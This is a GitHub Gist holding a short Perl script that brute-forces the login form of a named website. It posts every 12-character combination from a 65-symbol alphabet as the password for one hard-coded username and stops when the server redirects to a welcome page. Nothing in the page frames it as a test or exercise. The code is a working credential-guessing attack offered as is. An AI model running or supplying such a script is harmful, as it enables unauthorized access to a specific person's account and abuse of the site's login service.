Skip to content

Instantly share code, notes, and snippets.

@luelista
Created May 7, 2011 23:45
Show Gist options
  • Save luelista/960971 to your computer and use it in GitHub Desktop.
Save luelista/960971 to your computer and use it in GitHub Desktop.
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
sub tryit {
print "trying $_[0]:$_[1] ... ";
my $r = $ua->post("http://www.rise-of-light.de/secure/login.php",
Content => "username=".$_[0]."&passwd=".$_[1]);
if($r->header("Location") =~ /welcome/) {
print("correct!!!\n"); exit;
}
print "\n";
}
my @letters=qw (1 2 3 4 5 6 7 8 9 0 a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z ! ? .);
#for $len(8..12)
my $len=12;
{
print "LEN=$len\n";
printAllCombinationsRecursive("", $len);
}
sub printAllCombinationsRecursive { local($prefix, $levelsLeft)=@_;
if ($levelsLeft==0) {
tryit("MoritzW", $prefix);
} else {
for (@letters) {
printAllCombinationsRecursive($prefix.$_,$levelsLeft-1);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment